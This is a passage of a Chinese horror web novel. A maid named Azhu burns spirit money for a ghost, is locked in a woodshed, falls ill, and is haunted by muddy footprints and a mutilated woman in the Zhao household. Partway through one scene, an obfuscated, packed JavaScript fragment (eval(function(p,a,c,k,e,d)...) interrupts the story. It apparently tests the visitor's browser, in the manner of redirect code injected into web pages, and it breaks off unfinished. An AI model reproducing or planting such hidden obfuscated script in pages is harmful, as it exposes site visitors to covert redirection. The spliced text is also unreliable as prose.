虽然她爱躲在衣柜、门后、路边吓阿朱,但从来没伤害过阿朱,是个好鬼,好鬼得有个好归宿。 阿朱带着不知道从哪里找来的纸钱,深更半夜之际一个人避开人鬼鬼祟祟溜到了井边。 两个地方离得近,不过是转个弯在转个弯事情。偏院不同于主人家会待的地方,墙皮斑驳垮塌,原本的朱红在风雨的侵蚀下早已消失不见,与彻夜灯火通明的赵府格格不入。 井边长满了青苔,阿朱轻悄悄走过去,今日这小鬼倒是没站在井旁边吓她。阿朱大着胆子,探头朝井内瞅了一眼。 不知道是正直暑夏天气炎热的原因还是这口井选的位置不对,井水近乎干涸,只剩一小滩青黑油腻的水。从井底升腾而起的凉气扑在阿朱脸上,阿朱打了个激灵,脸上细小的绒毛竖了起来。 “小鬼?你在不在?”阿朱朝井底喊了两声,井底传来自己的回音。阿朱等了会儿,没动静,朝四下又喊了喊。 “怎么你也不理我。”阿朱呆滞地傻站了会儿,“算了,正事要紧,我知道你在。”阿朱用火柴点燃几张,丢进地上的一堆纸钱里,火焰瞬间升腾起来。 纸钱开路,魂引阴间。 “既然已经离世多年还是早些入地府重新投胎吧。你就是不想做人也得在阎王那儿把你的名字给勾了,等他们发现不对再来捉你,你可要受苦头啦。” 阿朱一点点将怀中藏起来的纸钱扔进火堆里,火堆映在阿朱眼里,她双手合十,十分虔诚。 “你不要觉得我多管闲事,我看你是好鬼,我才和你说的,其他的我都不说,你就听我的罢。” 阿朱小狗作揖似的拜了拜。看来今日这小鬼是铁了心不理她,就连给她烧纸钱也睬都不睬她。她心生无奈,看着逐渐变小的火势,觉得自己多管闲事了。 小丫头像是受了什么打击,弓着背,嘴里长长叹了口气。赤红的火焰一闪而过幽蓝,阿朱脚边似乎有什么东西在燃烧着。 “你鬼鬼祟祟做什么!” 女人愤怒至极的声音在身后炸开,阿朱顿时被吓得魂都飞了。 宋夫人。 赵渡生和宋夫人一行人悄无声息地突然出现在阿朱身后,阿朱瞪大了眼睛,连忙跪在了地上,这么大一个赵府为什么她总是这么倒霉地撞上人。 “还不快把火灭了,将这不知死活的扔出去。” 空气中弥漫着纸钱燃烧的烟味儿,浓郁得阿朱堵塞了七窍,阿朱深吸了口气,勉强动了动脑子。她不懂内宅的规矩,跪着膝行了几步。 “夫人。” 阿朱声音颤颤,她努力找回了自己的声音,只是抖得不成样子:“水井……不……不干净……” “还敢狡辩,什么不干净的东西!你在说什么咒我们赵府的话!!”宋夫人气到极点,毫不留情地打断阿朱的话,伸手指着阿朱命令道:“渡生,叫人给我把她打死去!” 阿朱支起上半身拔高声音:“不是的!”她求救般看向赵渡生,希望赵渡生能帮帮她,可赵渡生只是若有所思地看着地上一团只剩余温的灰烬。 贞红和小厮上来一人一边扣住阿朱的肩膀,阿朱被按在地上动弹不得,飞速抖动的睫毛下像一汪深山潭水被外来者毫不留情地掀起涟漪。 “你知不知道不能烧纸钱,这是规矩。” 阿朱心脏沉得像块铅坠在肚子里,回答知道明知故犯。回答不知道那就是阿朱没有被教好,于是她选择了一种折中模糊的回答。 “奴婢刚……刚来,夫人饶了我这一回吧。” “刚来?刚来的就能在我赵府作威作福吗?!”宋夫人已然生气到极点,愤怒中还带着几分微不可察的恐惧。“让府里没规矩的都好好看看。” 赵渡生拒绝,他玩世不恭地笑道:“我知道了阿娘,她是管那小院的。” 宋夫人闻言眼神闪过一丝亮光,她秀眉紧蹙细细审视着阿朱。 “您老人家累了还是回去休息吧,管教下人又不是只有您在行。”他上前环住宋夫人的肩膀,拍了拍,“你就交给我吧,我定不让您费心。您不是说这几日都没睡好吗?快去休息去,我瞧您皮肤都暗了点。” 赵渡生哄人手段一绝,宋夫人闻言伸手去摸了摸自己的眼角,随即随机叹了口气,“死孩子,净给我说些不好听的。” “您去好好睡一觉,保管您睡醒容光焕发。”赵渡生哈哈大笑,眼神示意下人带路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……我不是故意的,我真的不是故意的。”阿朱恳求地望向赵渡生,尽管希望渺茫,但她依然希望对方能多些仁慈。她是不怎么欢快跳脱,但她还不想死。 赵渡生伸出指头,轻轻放在阿朱的嘴唇上,“嘘—我知道你不是故意的,所以就罚你关在柴房里……一天吧,怎么样。”他神色雀跃,好像阿朱不是活人而是个可以随意摆弄的木偶娃娃。 不等对方反应,赵渡生身后的小厮拎起阿朱的衣领,动作粗鲁毫不客气,阿朱被扯得酿酿跄跄,眼底莫名浮出水汽,她就知道赵渡生向来如此。 她会给你枣子吃,就像喂鸟喂雀,可你吵到他了,他才不管曾经喂过你多少东西。阿朱抬手用袖口抹了把脸,挺直脊背加快脚步努力跟上小厮的步子。 还好,只是关在柴房而已,大不了吃不了喝不了。阿朱想起大人的那根鞭子,安慰自己还是关柴房吧。阿朱被人拉走,当然没注意,身后的人眼神奇怪,状若无事的目光如同火舌一般一下一下舔舐阿朱故作坚强的脊背。 真可爱,他想。 11. 腐烂的味道 柴房背阴,门窗常年都关着,空气不流通。地面潮湿,压在底下的木头都已经长出霉斑,墙壁被剥蚀开来,大块大块的墙皮落在地上。 昨夜下了场暴雨,房间里本就算不上好闻的味道如今更是被闷出发酵过后的酸味儿。阿朱待了时间久,鼻子已经从最开始的难受逐渐适应屋子里闷热的、木头腐烂的味道。 阿朱坐在地上,汗水从脊背和额头不断地滑下来,她能感觉到裤子上衣黏在身上。肚子饿了一天,腹部传来微微的疼痛感。 上下嘴皮子干得起皮,一边是不能喝水,一边是从身体不断流出的汗。阿朱觉得自己就像在一个发霉的大蒸笼里,意识早已变得模糊不明。她试图用睡觉抵过时间,等醒来又觉得时间过分难熬。 阿朱不知道还要继续被关在这里多久。朦胧间,阿朱满脑子除去想要喝水就是想起祠堂,她什么事情也没有做,未知会带来隐约的不安。 窗外逐渐透亮,由远及近的脚步声钻进阿朱早就成浆糊的脑袋里。随着一声尖利悠长的吱呀声和门锁晃动声,白光照在阿朱的面门上。 阿朱眨了眨眼睛,只见贞红捂着鼻子略带嫌弃地说:“快起来,昨个夜里下了大雨,把院子里的泥土冲了,现在味道难闻得厉害。” 阿朱下意识撑着膝盖,艰难地站起身来,起身的一刻面前恍惚了几下。贞红走进来凑近闻到阿朱身上染上的味道,皱着眉头上前揪阿朱皱巴巴的衣服把她半拖半拉了出去。 “你快点的,等会儿被陈妈妈瞧见可就惨了。你可别怪我没提醒你。” “我想喝水。”阿朱张开嘴巴,嘶哑着出声。柴房门口正好有一口井,阿朱跌跌撞撞冲过去,一下跪在地上费劲浑身力气将垂在井里的水桶摇上来。 一桶水被阿朱抬到地上的时候已经晃没了大半,阿朱将脸埋进去,干渴的喉咙里咕噜着井水。才刚下过雨,井水混着雨水,味道奇怪。 阿朱喝得急,喝到最后水呛进鼻子里,难以抑制地捂住嘴巴和鼻子咳嗽起来,又吐出了些水。 “咦——你就不能等会儿喝嘛?” 贞红站着说话不腰疼,阿朱抚着胸膛想。她看贞红靠过来,用脚踢了踢自己的大腿。 “快点的罢,我给你拿了点吃的,就在院子里,你去吃了就把泥给弄走行吗?” 阿朱胸前湿了一大片,舔舔嘴唇道:“好。”昨夜雨下得大,小院本就光秃秃的一片,泥土难免被雨滴带起弄得脏乱。 贞红带的吃的确实好吃,阿朱嘴里嘎巴嚼着,脸颊像松鼠似的鼓鼓囊囊。 “你瞧,脏成这样了。”贞红语娇嗔,她年纪比阿朱还小,碰到个烦心事儿难免少女心气开始抱怨。 小院满地狼藉脏得厉害,泥土被雨水打开又散在地上,露出底下味道难闻的黑土。 “这泥巴怎么这么黑,难闻死了。”贞红一直在扇风,就好像马上要被臭晕过去一样,而阿朱则面无表情地啃着卷饼。 “好阿朱,你可以打扫干净的吧。” 阿朱嚼啊嚼,努力地咽进去一大口卷饼,堵在嗓子眼好半天下不去,差点没让自己顺不过气。“咳——咳——咳咳,哈……应该可以的吧。” “真好!我就知道阿朱做什么都成。”她这会儿倒是又变了张脸,高兴极了,转身干净利落地从门背后拖过来一根扁担和两只木桶。阿朱重重叹息一声,只觉双肩负担沉重。 阿朱风卷残云地把最后小半截卷饼就着水吃进去。她得抓紧时间干活,风雨肆虐了一晚上的小院也只有阿朱会去打扫。 阿朱蹲在地上,用小锄头翻了翻土,一股强烈刺鼻的恶臭从土里散发出来。她连忙用袖口捂住口鼻。刚才站的远又只顾着吃,这下才真真切切地闻到味道。 尽管口鼻呼吸难受,阿朱依旧挥着锄头,她是真想看看土里有什么。这种难以言喻的味道像是山里动物死掉尸体腐烂的味道。 阿朱没多想挖出一个土堆,再往下就难挖了,泥土砂石混在一起和普通的并没有什么区别。阿朱不信邪,接连换了几个位置都是如此。 阿朱不理解为什么赵府这样的地方,哪怕是个不入眼的破院子,也不至于会拿这样的泥土随便铺路。 想来就是那层土有味道。阿朱伸手抓了点,用手指搓开,泥土细腻,不见草木的根须。阿朱揉了揉泥土觉得手感奇异,泥土表面在阳光下有着褐色、绿色、黄色……就像一层薄薄的膜附着在上面。 想不通就不想,阿朱向来是这样既来之则安之的性子。她甩了甩手上的泥,把乱七八糟的事情抛之脑后,像个苦力似的开始又挖又搬。 等清扫得差不多日头都已经快落下去了。阿朱把最后一点土推平,用手背贴了贴脸颊,烫得厉害。她不甚在意地擦拭完额上的汗水又继续挑起扁担,将木桶扁担扔到小屋去。 出来的时候,阿朱看了眼正屋的方向,她又坏规矩了,但她不是故意的。正屋的小门紧闭,阿朱被关了一天一夜,意味着那屋子里既没有点灯焚香也没有打扫干净更换果盘。 阿朱正出神发呆,屋门前的廊柱突然传来一声微弱清脆的啼叫声,她愣了愣随即便下意识地走过去。在廊柱前拐个弯,一只奄奄一息的小鸟趴在他的脚边。羽翅沾满了雨水,湿答答依靠着廊柱发抖。 阿朱蹲下身,顿觉头脑昏胀差点没稳住身子。离得近了阿朱才发现小鸟不仅湿透了,连翅膀也被昨夜的大风风刮断成两截。鸟还很小再加上受伤,看着很可怜。 它柔软的腹部紧紧贴住地面。阿朱伸手过去它也依旧一动不动,双眼眨着望向阿朱。 “嘬嘬嘬,站不起来吗?” 阿朱看不见它的脚,不由得心生疑惑,难不成是缩在看不见的地方? 阿朱摸了摸鸟的腹部,只碰了一下,阿朱就觉得自己并不是在摸一只活着的鸟。腹部分明是在规律动着的,可摸上去是冰硬的石头。 …… “怎么一股味道?” 赵渡生阴魂不散的声音响起。阿朱回过神用力过猛地站起来,导致眼前黑了很久。 她用力地拍了几下自己的脑袋,看得赵渡生很不爽。 “拍什么拍,本来就不太聪明,还拍?”赵渡生口吻嫌弃,“我还以为你被关了一天没什么精神。嗯,不错,生龙活虎。” 任何一个正常人看到阿朱这般泥土糊一身的样子都说不出她生龙活虎,也只有赵渡生这种奇人才能掌握说一句话半句都在气人的本领。 阿朱的身体已然超过承受能力,可她想到背后的鸟,原本虚脱疲乏的神情更多了紧绷与局 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“都冰成这样了还扫地!!这院子里就你一个活人吗?!人呢,死完了吗?”赵渡生扯开嗓子吼。 “贞红!!!” 下一刻,“来了来了。”贞红顶着张赔罪的笑脸从屋子里钻了出来。她一直躲门后不敢出去。 “呦。您老人家什么事情也不用做吗?” “不不不,不是,阿朱说昨个夜里的大雨把院子冲脏了得要打扫打扫。” “那你就不帮她做,你还记得我叫你来是做什么的吗?”赵渡生转移了炮口,咄咄逼人地质问贞红,吵得阿朱脑袋疼。 “小少爷,实在是奴婢笨拙,阿朱看不下去才叫我不干的。” “你就是不老实,想再回去三姨娘身边,我劝你死了这条心。叫你来就是让你干着活儿的,既然不想干,让林管事把你送回家去吧。”赵渡生语气森冷,有意恐吓对方,给贞红定了死罪。 贞红到底年纪小,呜呜咽咽哭了起来,乞求主人家别把她送回去。阿朱不掺一丝杂质的眼珠转动,落到贞红求救的脸上。 “她不喜欢,你就让她回去吧。” “回去?”赵渡生居高临下地看了眼,用一种看傻子的眼神打量阿朱,他就当她是傻了,不和人一般计较。 “还不赶紧让她洗漱了。” 贞红连声应道立刻站了起来,“啊是是,阿朱……我带你去洗洗。” 阿朱垂着手站在那儿不动。 “做什么呢,杵着不动?”阿朱眼珠子僵硬地转了转。赵渡生揉了几下阿朱还算干净的耳朵,牵着阿朱的手扶她下台阶。 阿朱没动,赵渡生愣了瞬,很快两人各自使着劲儿,他想让阿朱下来,但阿朱硬是一动不动,但阿朱哪里拗得过赵渡生,一个不留神被赵渡生拉下来扶住身子。 一阵风吹过,阿朱听见自己的喘息声在风中放大了。四肢顿时传来坚硬的凉意,阿朱像石头一样僵硬地转过头。 地上什么也没有。 阿朱心脏微妙地跳动着,她吐出一口气,为自己躲过一劫而感到庆幸,虽然指尖残存着奇怪的触感,可阿朱宁愿自己是太累了看错了。 赵府没有小鸟。 12. 这么怕我 贞红提着一桶水,眼泪挂在脸上就没断过,一边抽抽噎噎,一边将热水倒进澡盆里,她倒得委屈,还扯着嗓子断断续续的问:“烫不烫……还烫我再去打点冷水。” 阿朱半张脸掩在水下,咕噜咕噜在水底冒泡,只露出一颗圆圆的脑袋摇了摇。我不是故意的,阿朱没有骨气地想。 贞红看罢准备又抽抽噎噎地转身离开。“你还好吗?别哭了。”贞红回头望见阿朱黑黢黢的眼睛正一眨不眨地盯着她。 阿朱语气饱含抚慰与愧疚,她从来没有折腾贞红的意思,可她这一问,贞红没有丝毫好转,反而抽泣得更厉害,到底是难哄爱耍性子的年纪。 贞红没多说什么,提溜着木桶留下个倔强的背影。或许是真的认命,她没了力气再继续上蹿下跳。阿朱目光昏沉,脸颊和身子像被烫熟的虾似的通红。她泡了很久,直到水温渐渐凉下去,露在空气里的肌肤感受到阵阵凉意。 出了浴桶里的水,阿朱四肢和脑袋变得沉重,她随便擦了几下就穿上干净的衣服,走几步路就要停下来喘上好久的气。快靠近床榻的时候,阿朱头重脚轻,已然撑到了极限,径直扑腾一下倒了下去。 她并没感受到身体上多少的疼痛,在一阵眩晕欲呕的裹挟下,阿朱头一歪眼睛紧闭,彻底陷入昏迷之中。 在眼神清明的最后一秒,阿朱听见了木板咔嚓咔嚓的声音,身体不可抑制地瑟瑟颤抖,最终又昏下去。 一只手扣住床沿,爬了起来跪在床前。 被她用纸钱送走的“女鬼”此刻正垂着脑袋似笑非笑地盯着她。腐烂搅满碎肉的眼眶不可视物,“好香、好香……” 粘稠的口水从女鬼嘴角流下来。指甲扣上阿朱脖颈的一瞬,“砰”的一声,似有物体重重打在门窗上。一声呕哑撕裂的啼叫声传来,女鬼把手收了回来瞬间变得惶恐不安,她试图挪动身体,可身体仿佛被什么控制了一般,动弹不得。 几瞬后,她的身体开始向后翻折,骨头嘎吱断裂的声音断断续续闷响在阿朱的床前,她沉睡着对一切毫无察觉。 女鬼慢慢化作血水融进地里,她仍在不甘心地嘶吼。“不要,我不要下去,我不要下去!” …… 待屋内外一切偃旗息鼓,阿朱恰好醒过来。 天已经黑了,头晕目眩和浑身的酸痛疲乏让他几乎起不来,只迷迷糊糊发觉自己躺在床上,却不知自己是谁又在哪里。 命比草贱的人,往往比草更耐活。 阿朱目光涣散地下意识盯着衣柜看了很久。她叹了口气,拖着身子跪趴在床上试图翻身起来。四肢沉重发麻,她难受地大喘了几口气,咽了下口水,喉咙传来利刃划过的痛楚。 灯烛燃至尾端,夜越来越深,阿朱全身又烫又软,她想起院子里曾经活着的人,忍着剧痛步履蹒跚地走到漆黑一片的小院里。 阿朱走到门口却不敢再进去,她止住脚步,安静地低垂着眼帘,青白的面庞散着不起波澜的安宁。 刷过黑漆的柱子房梁在昏黄的烛火下打出更浓郁的暗色,矮门紧闭着。她小心翼翼地将手里的烛台放在台阶上,干涸的眼眶无精打采地长久注视着跳跃的烛火。 无力慢慢侵蚀着心力,“我会死吗?像李申一样……我不想长疮,不想变成烂肉,不想被人打……死得好看一点吧。” 阿朱嘴里不断地呢喃,不知道是说给别人听还是说给她自己听。说到伤心处阿朱忍不住抽泣,牵动胸膛,一下疼的牙齿““咯吱”作响。 她魂不守舍地钻回被窝,双腿冰凉凉的,在夏夜里瑟瑟打颤。脸颊依旧滚烫,下半身却冷得想要烤火,烤火就不冷了。 “睡一觉吧,睡一觉就好了。” 阿朱不是傻子,昏过去时突然出现在眼前的模糊人影依旧不断闪现在自己的脑海里。她不太确定,但她依旧抱有最好的期望。她宁愿饿死在赵府外面,也不想成为厉鬼的盘中餐惨死在无人在意的角落里。 一定是自己偷懒断了香火,才会招来污秽。明天早上醒来,阿朱要去焚香,她要把院子从里到外打扫得干干净净。只要让一切按规矩来,说不定阿朱的身体就会恢复原状。她这么想着眼睛却始终不肯闭合,生怕再次睡过去会看到什么不该看的。 赵渡生进屋子时,看到的就是这样一幅场景。阿朱像只破口袋,躺在床上,眼睛惊恐万状地大睁着,魂不守舍地盯着空气。她面容憔悴,似乎想睡觉但又害怕什么,一直盯住烛火不肯闭上眼睛。 赵渡生微微蹙眉,阿朱神经紧绷,赵渡生只进了没两步,她就翻身坐了起来,拧着小脸防备地望着赵渡生。 过于沉静长久的目光慢慢啮噬着阿朱本就不安的心神,赵渡生一句话不说,阿朱渐渐放下防备,松弛下来。 “你来做什么?”阿朱眼睛一错不错地盯着赵渡生,眼神炽热,藏着不可言说的焦灼。 赵渡生嘴唇突然露出微笑,不甚在意道:“我睡不着还不能到处逛逛了。” 一个在东一个在西,八竿子打不着的地方,也只有赵渡生能睁着眼睛说瞎话。 阿朱极为乖巧地抱着被子蜷缩起来不动了,赵渡生坐在床边,圆眼单纯又无害地对上阿朱躲闪的视线。他一言不发,伸手用手背探了探阿朱额头和脸颊的温度,感受阿朱的呼吸。 “你病了。” 阿朱呼吸一滞,伸出手抓住赵渡生的衣袖,眼睛缓慢眨动一下后说:“我没病。”她的年纪该是含苞待放的花蕾,可阿朱却像盛夏新鲜野生的小苦李,酸涩厚重的表皮永远裹着发酸发苦的汁水。 脸颊有温暖的手还有温热湿润的东西划过,阿朱分不太清,只记得手离开时,指尖顺势拂走那抹潮润。 “有什么可怕的呢?你憋着口气,把脸都憋红了是想把自己憋死?” 阿朱攥住他衣服的手慢慢松开了。她并没有回答赵渡生的问题,只是单纯地问。: “牛贵说他会回来接我,你说他什么时候回来。” 赵渡生凝着阿朱眼里闪着的芝麻大小的一小 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阿朱脑子转了转,好像是这个道理。赵渡生突然来了兴趣,他兴高采烈地抓住阿朱,“想不想听鬼故事,我给你讲。” “不要不要!”阿朱连忙扯过被子捂住头,她才不要听。赵渡生阴谋诡计达成,还不忘补一句,“可惜了,这么早就要睡了,你要是不想睡就起来和我说话,我把我从小听到的都和你说一遍!” 阿朱果然没动静了,安安静静抱住被子窝在赵渡生怀里。赵渡生憋着笑,倒在一旁。 阿朱转移了注意力,身体的疲乏很快重新席卷而来,尽管她觉得自己和赵渡生两人的姿势有些不舒服,可在赵渡生怀里她不敢随意调整姿势,生怕这人又掐自己的耳垂肉。 她耳朵动了动,听着赵渡生逐渐平稳的呼吸声,悄摸摸动了几下肩膀。她想:就一下,我就动一下。 毫不意外,头顶冷不丁传来一声不耐烦的“嘶”声,阿朱抿紧嘴唇,大睁着双眼,连呼吸都慢了几分。 她等啊等,就在她自作聪明地以为赵渡生已经睡着时,用肩膀蹭了自己地头发。 “动过来动过去,是不是睡不着,起来听我讲话。” 赵渡生一把抓住包裹得蚕蛹似的阿朱,阿朱贴近后连忙打了个哈欠,“啊,好困,我要睡了,你快睡吧。”跟着便长叹了口气,缩了缩身子闭上自己的眼睛。 她还趁着自己在赵渡生怀里钻来钻去的机会耍了个小聪明,用自己发痒的额头蹭了蹭赵渡生的胸口。 嗯,不痒了。 赵渡生睁着眼睛,看向胸口处摩挲自己胸膛的脑袋,向来白皙的耳垂染上不自然的绯色,他咳嗽几声,心里不屑,“这么怕我?” 嗯,怕也正常。思索片刻后,他执拗地认为既然这么怕我,那就一直怕下去吧。 赵渡生用力收紧手臂,自己的下巴抵在阿朱柔软的发顶,让怀中的人离自己更近了些。 13. 脚印 赵渡生总是神出鬼没,阿朱醒过来的第二天,一摸身旁冰凉一片,早就没人了。 他在夜里神经质地抓着阿朱说了许多话,叮嘱阿朱好好休息其他事什么也不用做之类的。阿朱权当他夜里说胡话,迷迷糊糊打哈哈就过去了。 贞红没心没肺地躺在床上一整天不下来,送过去的水不喝东西不吃,阿朱以为她寻死。 一个人怎么能流出这么多眼泪,下雨似的一颗接着一颗没停过,流泪也就算了,还会扯着嗓子哀伤幽怨地哭。 阿朱没办法假装看不见听不见。索性带着贞红去外面透透气。赵府里的下人对贞红的语气神色很微妙,阿朱敏感察觉到后,忍了又忍还是没忍住问。 “哼,你想知道啊?我不告诉你。”贞红奄奄的脸上难得扬起得意。 “嗯,我很想知道。”阿朱郑重地点头。 “三姨娘很喜欢我。” 阿朱正想问为什么,贞红环视四周,凑到阿朱耳边悄声说道:“她把我当她女儿呢。” 尽管压低了声音,阿朱还是能听出贞红话语间止不住的得意与盎然。 “府里一共两位姨娘吗?”阿朱只见过宋夫人,她还没机会见过府里的姨娘。 “不对,”贞红摆摆手,故意卖关子,“那可不止两位,宋夫人、二姨娘、三姨娘、还有小少爷的生母四姨娘。” 阿朱看着贞红一个个掰起来的手指吃了一惊。赵渡生和宋夫人相处时总是很奇怪,原来不是亲生的。贞红一说起赵府那些陈年往事,整个人又活过来了,大抵人都是爱听些嚼舌根出来的芝麻蒜皮。 赵府根深,赵光行年岁大了身体不好,只有大夫人和少爷还在管着赵府……这些事儿任凭阿朱听几遍,她心底都觉得奇怪,这么大一个赵府居然只有赵渡生一个孩子。 “真的没有其他人了吗?” 贞红愣了愣,随后故作神秘地压低声音,“有的,都死完啦。” 阿朱征征看了眼贞红,眼里闪着细碎的凛凛光芒。贞红分明比阿朱还小,她怎么会知道这些事情,阿朱带着几分疑惑,“你怎么知道?” “你别管我怎么知道的,反正我就是知道。”贞红被驳了面子,硬着头皮发誓自己说的绝对不是假话。 “我要是说假话,我不得好死。” 阿朱连忙捂住她的嘴巴,“我信你我信你。” 两人熟稔起来到没有一开始时那么僵硬疏离。刚下过连绵的暴雨,一路上地势矮的地方早已积起厚厚的污水坑。泥点溅到裙摆上,污水渗进布鞋里。 花园里的莲花池里铺满了莲叶,莲花花瓣绽放得正盛,随着风,茎杆缓缓在水里左右轻晃。 贞红拖着阿朱在花园绕圈,她要证明三姨娘真的喜欢自己。阿朱心中忐忑,万一贞红是在说大话,两个人岂不是要一起完蛋。她几次试图劝贞红算了吧,贞红反而越找越来劲。 两人拉拽的时候,身后“咚”的一声,传来某种东西掉进水里的声音。二人皆是一愣,随即朝着发出声音的地方摸过去。 被柳树遮挡的池旁边,一个女人正面无表情地看着湖面,对两人突然的闯入毫无反应,直到贞红小声喊了一声,女人才慢慢回过头来。 “三夫人。” 女人身材瘦小,皮肤发着隐隐的青白,两颊凹陷进去,孱弱病态。有种被不知道什么东西吸光了精气的油尽灯枯之感。鬓间额角的头发灰白,眼角眉梢是重重的倦怠疲乏。 虽然笑着,但笑意不达眼底,看人总有股子看死物的感觉。她腰间挂着一块玉牌,过了好半晌才慈祥和蔼地笑笑,朝贞红招了招手。 “好孩子,过来,怎么突然来这里了。” 三姨娘手上抓着两块石头,地上脚边用石头堆着大大的石头堆。“我猜您在后院,来看看您,您做什么呢,又在扔石头吗?” 三姨娘弯腰重新捡起块石头,对准远离岸边的湖面,甩手扔了出去。平静无波的湖面骤然被砸开一个黑洞又很快合上,荡出一圈圈涟漪,水珠四溅。 贞红看好了准头又重新塞了一个到三姨娘手里。她自作主张地也给自己挑了一块扑通一声扔得老远。三姨娘死水一般的面庞突然闪耀起光亮来,她突然放声笑出声,用鼓舞赞赏的目光示意贞红继续扔。 贞红得了肯定,肆无忌惮地乱丢乱甩起来,三姨娘只用温和地目光看向贞红,两人此刻和睦得到真挺像一对母女。阿朱只当自己是颗树子,躲在后面一言不发。 匆忙杂乱的脚步声响起,一群人冲了过来询问三姨娘怎么跑这儿来了,有没有事…… 为首的姑娘一把拉开靠近三姨娘的贞红,贞红不服气还没来得及呛回去,想伸手去争一争。不料三姨娘突然发作起来,伸手重重扇了贞红的手,丝毫没有方才两人的的和睦和体贴。 “你是谁!!” 参差翠绿的柳条在几人中间飘舞,小鱼在荷叶底翻腾而起又重新落下去。 “三……三姨娘,我是贞红啊。”贞红对上三姨娘看上去冰冷、漠然的神情,脸色青红交加,带着畏惧恐慌。 阿朱猜到三姨娘大概有些不正常因而对人时好时坏,贞红说三姨娘喜欢自己,其实对方根本记不住她。 阿朱很久没钻在人堆里了,此刻周围的下人围上来,她下意识后退几步,远离让她有些透不过气的人。湖边的水花撞在岸边,阿朱瞥了眼,看见一个人影在水中闪烁不定,心头猛跳了几下,等回头定睛看清没什么才松了口气。 “真是不守规矩,该做的事情不去做好,反而一门心思想着钻空子,贞红你未免太没有意思了。” 贞红哑口无言,行了个礼,唤了一句“三姨娘”,急急忙忙地跑了。 阿朱以为她伤了自尊心,便默默跟在她后面,没想到贞红一脚踹在花圃边缘的草上。 “一个鬼地方,从上到下没一个好性子的人,哪里都奇怪,谁稀罕。” 阿朱偏过脑袋想了想,应和道:“嗯。” “你嗯什么嗯!”贞红没好气地怼道。 “你说的对,哪里都奇怪。” 贞红放慢步子,气鼓鼓地挪到阿朱身边,她欲言又止最后大着胆子道:“你每天供奉那个房间里的……你不害怕吗?” 阿朱没动,眼神却开始慢慢飘忽,她有时候觉得毛骨悚然,人生大限,生老病死,盛极必衰,无人能避。 即使厉害如赵光行这样的人,如今不也每日浸在药物里,直到皮肤溃烂,毫无神志可言。赵府的祠堂里多的是富贵迷人眼的法器 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她伸手拍了拍阿朱的肩膀,试图打哈哈躲过去。阿朱垂着脑袋没多问。 情感的构建总是很快,贞红不再像从前那样对阿朱颐指气使,天天说些难听的话。两人相处倒是莫名其妙的十分和睦。 小院里漆黑一片,阿朱准备合上大门,她刚放下手里的灯笼,身后传来簌簌簌的声音。她以为是风声,回头看了眼院子中间空荡荡的依旧什么也没有。 再回过头,簌簌簌的声音重新响起来,变得急促,靠得更近,几乎就响在阿朱的耳朵边。阿朱下意识地捂住耳朵,声音透过手掌钻进耳朵。 阿朱拿起灯笼,一抹光亮范围不大的照亮在阿朱面前,眼前分明是空的,静谧无声。阿朱心跳如雷,没什么胆量地背对着大门,不断移着手里的灯笼,烛火摇摇晃晃,红得厉害。 过了好半晌,阿朱放下捂住耳朵的手,没有声音,她松了口气,还好,估计是太累了。阿朱拍了拍自己的胸脯,原来是自己吓自己。 灯笼随手提着,几乎拖在地上,微弱的烛火在油纸内跳跃闪动着。阿朱弯了弯腰刚想重新提起灯笼, 可是? 为什么? 她的脚边密密麻麻的……都是沾着黑泥的脚印。 她看过去,脚印一圈一圈又一圈地荡开,烛光照亮的更远处,脚印正朝着阿朱一个个印在地上,''它''一步一步走过来。 一股凉意瞬间冰透阿朱的脊背,她头皮发紧,连呼吸都忘了,眼睛眨也不眨地抬起灯笼。 破旧的灯笼坠在地上,最后一抹亮光彻底消失,下一秒,阴森透骨的一股凉气拂在阿朱的面门,簌簌簌的声音重新响起,就像黑暗中快速游走的草蛇钻过来。 阿朱浑身抖颤,汗水沁满额头。 门就在后面,她要跑。 只要动起来,转身,开门,她就能跑出去。 阿朱抖着手粗暴地拧着大腿,她用力拧着,拧着……眼睛又黑又亮,两粒黑珠子似的闪着细细的碎光,在看不见的黑暗里盛着盈盈的惧色。 她眼睁睁看着脚印游移过来。终于,在剧烈的颤抖中,阿朱张开黏住的喉咙,嘶哑地惊呼一声,转身“砰”的一声撞开红门。 14. 脏心烂肺 人在遇到危险的时候,时间总是被无限拉长,任何细小的动静都会被放大。阿朱的身体敏锐地嗅到危险的味道却停留在原地紧张地颤抖,脑袋更是空空如也,眼珠僵硬转了圈,身体才能开始自己动起来。 越过长廊就是赵府众人住的地方。阿朱心底发毛得厉害,下台阶一脚踩空,直接滚了下去。 脚踝杵在木棍上,骨头奇痛。她撑起身体迫切地往后挪动,掌心的沙砾磨得皮肉生疼。 头皮惊恐到仿佛被揭下来一般,她看向台阶,等来的不是一圈又一圈的泥印,而是一个女人。 女人披头散发地爬过来,面上干净没有灰尘,她大半个身体被柱子挡住,一边爬一边喉咙里呜呜呜,眼眶赤红,有些骇人。 阿朱迟疑片刻后,吞了口口水就要手脚并用爬过去。阿朱记得这个女人,是在莲花池边对着自己和贞红阴阳怪气讽刺的人。她眼里流淌下大颗的泪水,沙哑着嗓子喃喃道: “求求你……求求你……救……救救……” 阿朱伸手抓住女人的手臂,她想把女人扶起来,女人的身体却如同千斤重怎么也无法移动半分。 “你动一动啊,我撑不住你!” 女人的手臂总是一次又一次从手里脱出去,阿朱逐渐力竭,她爬到阶梯上,试图让女人靠在她身上。 临近了,阿朱摸到了一片空,她望过去,女人的小腿断在过道中间,膝盖处拖出两条红血在地上扭曲地蜿蜒过来。 膝盖中央的皮肉零零落落坠在彻底碎裂开来的骨头上。阿朱对上女人的视线,女人怨恨阴毒的眼神仿佛在质问阿朱为什么不救她。 猛撒开手的瞬间,女人脸朝下砸在地上。周围静极了,耳边只有阿朱不断呼气吸气地声音,阿朱颤抖着往后退。 女人突然缓缓抬起了头,她哽咽住,脸上涨出猪肝血红,下一秒,紧紧闭着的嘴巴张开,一截粉红柔软又布满粘稠血液的舌头“吧嗒”一声掉在了地上。 “啊……咳……” 空空荡荡的嘴巴里,黑血涌出来。 阿朱屏住呼吸,脊背上湿了一大片,全是渗出的冷汗。黑洞洞的走廊一眼看不到尽头,夜色像是腐蛆,啃食着人的皮肉。 